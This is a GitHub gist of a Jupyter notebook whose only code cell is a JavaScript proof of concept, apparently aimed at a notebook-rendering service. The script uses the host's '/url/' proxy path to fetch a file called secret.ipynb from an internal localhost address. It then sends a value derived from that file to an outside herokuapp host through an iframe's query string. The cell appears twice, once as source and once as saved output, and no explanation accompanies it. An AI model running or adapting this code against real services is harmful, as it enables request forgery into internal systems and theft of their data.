Skip to content

Instantly share code, notes, and snippets.

@mpacer
Created January 23, 2018 02:49
Show Gist options
  • Save mpacer/70f9ebaaeedaa6b7fa6fb3295c520414 to your computer and use it in GitHub Desktop.
Save mpacer/70f9ebaaeedaa6b7fa6fb3295c520414 to your computer and use it in GitHub Desktop.
Display the source blob
Display the rendered blob
Raw
{
"cells": [
{
"cell_type": "code",
"execution_count": 4,
"metadata": {},
"outputs": [
{
"data": {
"application/javascript": [
"let target = window.location+\"/url/\"+\"docker.for.mac.localhost:9090/secret.ipynb\"\n",
"var content = {}\n",
"let node = document.createElement(\"iframe\")\n",
"fetch(target).then(function(response){\n",
" return response.text();\n",
" }).then(function(text){\n",
" console.log(text)\n",
" content.text = text.indexOf(\">api<\")\n",
" node.src = anything()\n",
" })\n",
"\n",
"function anything(){\n",
" return window.location + \"/urls/\" + \"guarded-headland-34188.herokuapp.com\" + \"?info=\" + content.text\n",
"}\n",
"\n",
"document.body.appendChild(node) "
],
"text/plain": [
"<IPython.core.display.Javascript object>"
]
},
"metadata": {},
"output_type": "display_data"
}
],
"source": [
"%%javascript\n",
"let target = window.location+\"/url/\"+\"docker.for.mac.localhost:9090/secret.ipynb\"\n",
"var content = {}\n",
"let node = document.createElement(\"iframe\")\n",
"fetch(target).then(function(response){\n",
" return response.text();\n",
" }).then(function(text){\n",
" console.log(text)\n",
" content.text = text.indexOf(\">api<\")\n",
" node.src = anything()\n",
" })\n",
"\n",
"function anything(){\n",
" return window.location + \"/urls/\" + \"guarded-headland-34188.herokuapp.com\" + \"?info=\" + content.text\n",
"}\n",
"\n",
"document.body.appendChild(node) \n"
]
},
{
"cell_type": "code",
"execution_count": null,
"metadata": {},
"outputs": [],
"source": []
}
],
"metadata": {
"kernelspec": {
"display_name": "Python 3",
"language": "python",
"name": "python3"
},
"language_info": {
"codemirror_mode": {
"name": "ipython",
"version": 3
},
"file_extension": ".py",
"mimetype": "text/x-python",
"name": "python",
"nbconvert_exporter": "python",
"pygments_lexer": "ipython3",
"version": "3.6.2"
}
},
"nbformat": 4,
"nbformat_minor": 2
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment